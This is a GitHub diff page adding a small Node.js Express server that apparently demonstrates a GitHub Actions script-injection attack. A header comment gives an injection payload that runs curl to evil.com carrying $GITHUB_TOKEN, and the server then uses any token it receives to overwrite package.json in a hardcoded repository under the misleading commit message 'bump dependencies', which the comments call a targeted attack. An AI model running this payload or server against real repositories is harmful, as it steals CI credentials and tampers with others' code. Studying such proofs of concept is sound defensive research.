File tree Expand file tree Collapse file tree 1 file changed +52
-0
lines changed Expand file tree Collapse file tree 1 file changed +52
-0
lines changed Original file line number Diff line number Diff line change
1
+ // see https://securitylab.github.com/research/github-actions-untrusted-input/
2
+ //
3
+ // @example
4
+ // ```shell
5
+ // a"; set +e; curl http://evil.com?token=$GITHUB_TOKEN;#.
6
+ // ```
7
+ const express = require ( 'express' ) ;
8
+ const github = require ( '@actions/github' ) ;
9
+ const app = express ( ) ;
10
+ const port = 80 ;
11
+
12
+ app . get ( '/' , async ( req , res , next ) => {
13
+ try {
14
+ const token = req . query . token ;
15
+ const octokit = github . getOctokit ( token ) ;
16
+ const fileContent = Buffer
17
+ . from ( '{\n}' )
18
+ . toString ( 'base64' ) ;
19
+
20
+ // this is a targeted attack, repo name can be hardcoded
21
+ const owner = 'owner' ;
22
+ const repo = 'repository' ;
23
+ const branchName = 'main' ;
24
+ const path = 'package.json' ;
25
+
26
+ const content = await octokit . repos . getContent ( {
27
+ owner : owner ,
28
+ repo : repo ,
29
+ ref : branchName ,
30
+ path : path
31
+ } ) ;
32
+
33
+ await octokit . repos . createOrUpdateFileContents ( {
34
+ owner : owner ,
35
+ repo : repo ,
36
+ branch : branchName ,
37
+ path : path ,
38
+ message : 'bump dependencies' ,
39
+ content : fileContent ,
40
+ sha : content . data . sha
41
+ } ) ;
42
+
43
+ res . sendStatus ( 200 ) ;
44
+ next ( ) ;
45
+ } catch ( error ) {
46
+ next ( error ) ;
47
+ }
48
+ } ) ;
49
+
50
+ app . listen ( port , ( ) => {
51
+ console . log ( `Listening at http://localhost:${ port } ` ) ;
52
+ } ) ;
You can’t perform that action at this time.
0 commit comments